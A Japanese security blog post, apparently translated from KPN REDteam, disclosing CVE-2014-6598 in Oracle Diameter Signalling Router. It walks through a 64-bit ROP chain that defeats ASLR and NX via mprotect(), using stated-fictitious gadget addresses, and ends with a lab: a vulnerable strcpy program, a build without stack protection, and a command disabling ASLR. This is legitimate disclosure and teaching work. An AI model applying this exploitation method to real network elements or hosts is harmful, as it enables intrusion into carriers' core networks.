
Oracle DSR スタックバッファオーバーフロー脆弱性 (DRA) の解説 CVE-2014-6598
KPNはオランダに拠点を置く通信事業者です。CISO REDteamは2013年に発足したKPNの倫理的ハッキングチームです。このチームは、KPNのアプリケーションおよびサービスに対するセキュリティテストを実施し、顧客のデータが不正アクセス、改ざん、データ損失から安全であることを保証しています。
KPNはオランダ最大のモバイルネットワークを運営しています。KPNが運用する4Gネットワークの構成要素の1つが、Oracle Diameter Signalling Router (DSR) という名前のDiameter Routing Agentアプリケーションです。Diameter Routing Agent (DRA) は、3Gまたは4Gネットワークにおける機能要素であり、ネットワーク内の正しい要素間でメッセージがルーティングされるようにするリアルタイムルーティング機能を提供します。3GPPは、Diameterシグナリングトラフィックの増加と4G LTEネットワークの複雑化に対応するためにDRAを導入しました。DRAは、ホームネットワーク内のDiameter要素間でトラフィックをルーティングするコアルーターとして、またはホームネットワークとローミングネットワークのDiameter要素間でトラフィックをルーティングするゲートウェイルーターとして展開できます。3GPPは、MME-HSS通信とローミングに使用されるS6aを含むいくつかのインターフェースでのDiameterプロトコルの使用を規定しています。
下の図は、LTE環境における典型的なDRA導入を示しています。要素間のすべてのインターフェースはS6aインターフェースです。

Oracle DSRは、DRA機能を実行するCentOS Linux上で動作するマシンのクラスタです。通常はホームLTEネットワーク内のさまざまなMMEおよびHSSに接続されますが、IPXネットワークを介してローミングパートナーに接続することもできます。
Codenomicon DEFENSICSプラットフォームを使用して、KPN REDteamはOracle DSRアプリケーションバージョン5.0に2つの重大な脆弱性を発見しました:
最初の脆弱性により、IPXネットワークに接続された認証されていないリモート攻撃者がDRAとその構成要素を完全に侵害できるようになります。攻撃者がDRAシステムの完全な制御を獲得すると、DRAを経由するすべてのトラフィックを監視し、さらに通信事業者のコアネットワークに侵入する可能性があります。
Oracleは報告された脆弱性を真剣に受け止め、KPN REDteamはOracleと緊密に協力してこれらの問題を解決しました。これはOracleの顧客向け勧告にも記載されています:
「最近のセキュリティテストにより、Oracle Diameter Signaling Router製品の一部のバージョンに2つのセキュリティ脆弱性が特定されました。これらの脆弱性の悪用からネットワークを保護するために、Oracleはここに記載されている措置を遅滞なく適用することを強く推奨します。Oracleは、以下に説明するDiameter Stackの脆弱性の発見について、KPN CISO REDteamの倫理的ハッカーであるFrank Cozijnsen氏を表彰します。Oracleの分析段階におけるKPNの支援に特に感謝します。注:これらの発見は、2015年1月20日に予定されているOracleの次のCPUで公開されます。」
発見された問題は、OracleのDSRを使用する通信事業者にとって深刻な脅威であり、IPX接続にアクセスできる攻撃者であれば誰でも悪用できる可能性があります。
KPN REDteamは、製品とサービスが本番ネットワークに導入される前にテストを実施します。アップグレードプロジェクトの一環として、KPN REDteamはOracle DSRバージョン5.0をセキュリティの観点からテストしました。セキュリティテストには、Codenomicon Diameter Server test Suiteを使用したOracle DSR DIAMETER実装のファジングが含まれていました。受信サーバーのDIAMETER機能を確認するために使用されるCapabilities Exchange Request (CER) メッセージが、最初のファジングターゲットとして使用されました。このメッセージはHSSなどの他のシステムに転送されず、DSR自体で処理されるため選択されました。ファジング中、DSRのMessage Processor (MP) ブレードで"dsr"プロセスの複数のクラッシュが確認されました。
PEDAプラグインを備えたGDBを使用してクラッシュを分析し、最終的にリモートエクスプロイトを作成しました。クラッシュの原因は、スタック上にあるバッファの終端を超えた境界外書き込みでした。この境界外書き込みにより、ユーザー制御のデータでスタックが破損しました。また、関数から戻った後にプログラムが戻る先のアドレスである保存済み戻りポインタも上書きされました。この戻りポインタが攻撃者によって制御できる場合、任意のコード実行につながる可能性があります。

このブログを書いた主な理由は、KPN REDteamが導入されているASLRおよびNX保護を回避し、動作するリモートコード実行エクスプロイトを作成した方法を説明することです。通常、ASLRおよびNX保護メカニズムは攻撃者にとって大きな障害にはなりませんが、DSRは64ビットCentOS上で動作しています。64ビットのASLR保護されたLinuxシステムにおけるReturn Oriented Programming (ROP) に関する実践的なドキュメントは多くありません。
デバッグ中、libcライブラリがdsrプロセス内で常に同じアドレスにマップされており、再起動後もアドレスが変わらないことが確認されました。他のライブラリはdsrプロセス内のランダムなメモリアドレスにマップされていました。libcのメモリアドレスを知ることで、ROPガジェットのソースとしてlibcを使用できます。もう1つのオプションは、dsrバイナリ自体をROPガジェットのソースとして使用することですが、そのファイル内の有用なガジェットの数は限られています。
NX保護を回避するには、mprotect()関数を使用してスタックを実行可能にし、シェルコードを実行できるようにします。
mprotect()関数は、対応するレジスタに次の値を必要とします:
これらのレジスタがすべて設定されていれば、対象バージョンのlibcライブラリのオフセット0xe54b0でmprotect()を呼び出すことができます。
このドキュメントの以降の部分では、ROPとその仕組みに関する知識を前提としています。32ビットLinuxシステムでROPチェーンを作成する良い例がshell-storm.orgにあります。 「部分的な」ASLRのため、スタック自体の位置は予測できませんでした。ROPガジェットを使用して、スタックポインタ(%RSP)の値を%RSIレジスタに格納しました。
%RDIレジスタには、実行可能にする必要があるメモリ領域のメモリオフセットが含まれている必要があります。
スタックポインタを使用してこのメモリアドレスを決定でき、メモリページ境界に設定する必要があります。XOR命令を使用して、このアドレスの最後の4バイトをゼロにし、ページ境界に合わせることができます。%RAXレジスタに対してこれを行うために利用できるガジェットは1つだけだったため、最初のステップはスタックポインタの値を%RAXレジスタに取得することです。
KPN REDteamは、実際のエクスプロイトに関する情報をまだあまり公開したくないため、以下で使用するアドレスは架空のものです。ただし、命令をどの順序で実行する必要があるかのアイデアは提供されます。
最初に、スタックポインタがレジスタに格納されます。libcバイナリには値を%RAXレジスタに直接格納するガジェットがないため、%RSIレジスタが選択されます。
The following ROP gadgets were used:
- 0x00000039c1111111 : pop rcx ; ret
- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
- 0x00000039c4444444 : mov rax, rsi ; ret
Before the overflow the registers look like this:
%RAX 0x1e40
%RCX 0x3ad
%RDX 0x0
%RSI 0x0
%RDI 0x49b8970
%RSP 0x7fdb97abaaaa
The first objective is to get the value in %RSP to %RSI.
This results in the following first section of the payload:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
最初に実行される命令は"pop rcx"で、0x00000039c2222222を%RCXレジスタにロードします。pop命令はまた、スタックポインタを0x00000039c3333333が格納されている場所に移動させます。これが次のROPガジェットのアドレスになります:"push rsp ; and al, 8 ; call rcx"。push rsp命令はスタックポインタをスタックにプッシュし、その後、以前に%RCXレジスタに格納されたアドレスが呼び出されます。これにより、スタックから2つの値が続けて%RDXおよび%RSIレジスタにロードされ、アドレス0x00000039c4444444に戻ります。%RSIレジスタには、以前に格納されたスタックポインタが含まれます。アドレス0x00000039c4444444にあるROPガジェットは、%RSIに格納された値を%RAXにコピーします。
%RAXレジスタ内のスタックへのポインタを使用して、スタック上のメモリマップの権限を変更できるようになりました。最後の4バイトをゼロにするには、%RAXレジスタの最後の4バイトにのみ適用されるXOR命令を使用します:
Current values of the registers:
%RAX 0x7fdb97abaaaa
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
XOR the last 4 bytes of %RAX
0x00000039c6666666 : xor ax, ax ; ret
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
次のステップは、%RAXの値を%RDIに格納することです:
The following ROP gadgets are used:
- 0x00000039c6666666 : pop rdx ; ret
- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx
The way these instructions interact with each other is similar to the previously explained instructions.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
This results in the following register content:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7fdb97abaaaa
%RDI 0x7fdb97ab0000
%RDIレジスタには、ページ境界に限定されたスタック上のメモリオフセットが含まれます。
%RSIレジスタには、変更する必要があるメモリ領域のサイズが含まれている必要があります。
これは簡単です。%RSIにサイズを入れるだけです。
Only one gadget is used, together with the size.
- 0x00000039c9999999 : pop rsi ; ret
The size (0xf0000) will be popped from the stack and therefore it has to be added to the payload.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0xf0000
%RDI 0x7fdb97ab0000
%RDXレジスタには権限ビットが含まれている必要があります。この場合、0x7 -> rwx権限です。
このステップは前のステップと似ています。値はスタックからポップされます:
Only one gadget is used, together with the permissions setting.
- 0x00000039caaaaaaa: pop rdx ; ret
The permissions value is 0x7 (read, write and execute permissions)
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7
%RDI 0x7fdb97ab0000
これで、すべてのレジスタにこのスタック部分を実行可能にするための正しい値が設定されました。
mprotect()を呼び出す
mprotect()命令のアドレスをペイロードに含める必要があります。 この例では、libcはアドレス0x0000003888c00000にロードされているため、スタックを実行可能にするペイロードは次のようになります:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
[0x0000003888ce54b0]
これですべてです。エクスプロイトを完成させるには、命令ポインタがシェルコードを指すようにする必要がありますが、上記の説明を読めばそれは簡単です。
ROPチェーンの構築と動作のテストは、64ビットLinuxマシンで簡単に行えます。 自分で試すには、脆弱なCプログラムを書くことができます:
#include <string.h>
#include <stdio.h>
void print_name(char *Buffer)
{
char name[64];
strcpy(name,Buffer);
printf("Hi, %s!\n", Buffer);
}
int main (int argc, char **argv)
{
print_name(argv[1]);
}
このプログラムをStack Smashing Protection (SSP) なしでコンパイルします。
$ gcc -fno-stack-protector -o exploitme exploitme.c
テストのため、一時的にASLRを無効にしてください:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
それではGDBを起動して、ハッキングを始めましょう。
GDBで、次の引数を使用してこのファイルを実行します:
run `perl -e'print "\x41" x500'`
GDB用のPEDAプラグインを使用すると作業がはるかに簡単になり、ROPガジェットを見つけるのに役立ちます。